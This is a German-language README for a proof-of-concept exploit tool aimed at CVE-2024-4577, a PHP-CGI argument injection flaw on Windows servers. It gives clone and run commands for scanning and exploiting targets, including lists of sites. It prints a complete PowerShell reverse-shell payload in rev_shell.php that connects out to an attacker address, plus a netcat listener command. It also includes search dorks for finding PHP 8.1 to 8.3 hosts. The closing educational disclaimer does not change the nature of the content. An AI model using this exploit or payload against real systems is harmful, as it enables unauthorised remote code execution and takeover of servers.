
Proof-of-Concept-Exploit für PHP-CGI-Argument-Injection (CVE-2024-4577), die Remote-Code-Ausführung auf angreifbaren Windows-Servern mit Scan- und Reverse-Shell-Funktionen ermöglicht.
In den PHP-Versionen 8.1.* vor 8.1.29, 8.2.* vor 8.2.20, 8.3.* vor 8.3.8 kann es unter Windows bei Verwendung von Apache und PHP-CGI zu folgendem Problem kommen: Wenn das System für bestimmte Codepages konfiguriert ist, verwendet Windows möglicherweise das „Best-Fit“-Verhalten, um Zeichen in der Befehlszeile zu ersetzen, die an Win32-API-Funktionen übergeben werden. Das PHP-CGI-Modul kann diese Zeichen fälschlicherweise als PHP-Optionen interpretieren, was einem böswilligen Benutzer ermöglichen kann, Optionen an die ausgeführte PHP-Binärdatei zu übergeben und so den Quellcode von Skripten offenzulegen, beliebigen PHP-Code auf dem Server auszuführen usw.
„XAMPP ist in der Standardkonfiguration anfällig, und wir können den Endpunkt /php-cgi/php-cgi.exe anvisieren. Um einen .php-Endpunkt (z. B. /index.php) anzugreifen, muss der Server so konfiguriert sein, dass PHP-Skripte im CGI-Modus ausgeführt werden.“
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] Dieses Tool demonstriert realistische Angriffs- und Techniken (TTPs). Dieses spezifische Payload-Beispiel funktioniert jedoch in diesem Szenario nicht. Ändern Sie die shell.php, um ein voll funktionsfähiges Payload zu erhalten.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Dieses Tool wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch das Tool verursacht werden.